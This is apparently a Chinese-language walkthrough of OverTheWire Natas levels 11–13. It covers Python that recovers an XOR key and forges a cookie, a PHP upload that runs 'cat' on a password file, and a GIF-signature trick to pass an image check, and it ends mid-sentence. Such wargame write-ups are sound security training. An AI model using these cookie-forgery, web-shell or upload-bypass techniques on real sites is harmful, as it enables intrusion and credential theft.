natas11:
同样查看源码,审计。想要得到密码,需要使showpassword设置为yes,loadData函数是将cookie的值解密还原,存储与mydata数组中,并返回mydata。而savaData函数则是将传入的参数进行编码处理,存在COOKIE[“data”]中。
由此大体思路为,构造新的输入参数,是的showpassword值设置为yes,编码后得到新的data值。但完成这步,需要知道异或操作中的key的值,而且这个值是设置好了的,所以需要逆推key值。
python代码(代码写的丑,大佬们勿喷orz):
import json
import base64
newdefaultdata = {"showpassword":"yes","bgcolor":"#ffffff"}
defaultdata = {"showpassword":"no","bgcolor":"#ffffff"}
data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw='
def xor_encrypt(p_in ,out):
key = ''
text = p_in
for i in range(len(out)):
temp = text[i]^out[i]
key += chr(temp)
return key
def newdata(data):
key = "qw8J".encode()
text = data
outdata =''
for i in range(len(text)):
outdata += chr(text[i]^key[i%len(key)])
return outdata
result = xor_encrypt(json.dumps(defaultdata).replace(" ","").encode(),base64.b64decode(data))
print(result)
resultdata = base64.b64encode(newdata(json.dumps(newdefaultdata).replace(" ","").encode()).encode())
print(resultdata)
natas12:
一个文件上传的页面,随便上传一个文件,修改了文件后缀名,阅读源码,发现并没有过滤,只是修改了文件名字,可以上传一个php文件,里面设置读取nata13的命令,上传php文件后用bp抓包,修改filename的后缀为php,访问上传的php即可得到密码。
<?php
system('cat /etc/natas_webpass/natas13');
?>
natas13:
一样的上传文件的页面,但对文件进行了过滤。利用了exif_imagetype()函数,该函数是读取图像的第一个字节检查其签名是否为图片信息前面。由此我们可以在php文件中加入图片签名绕过,其余步骤与natas12相同即可。
知识补充:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行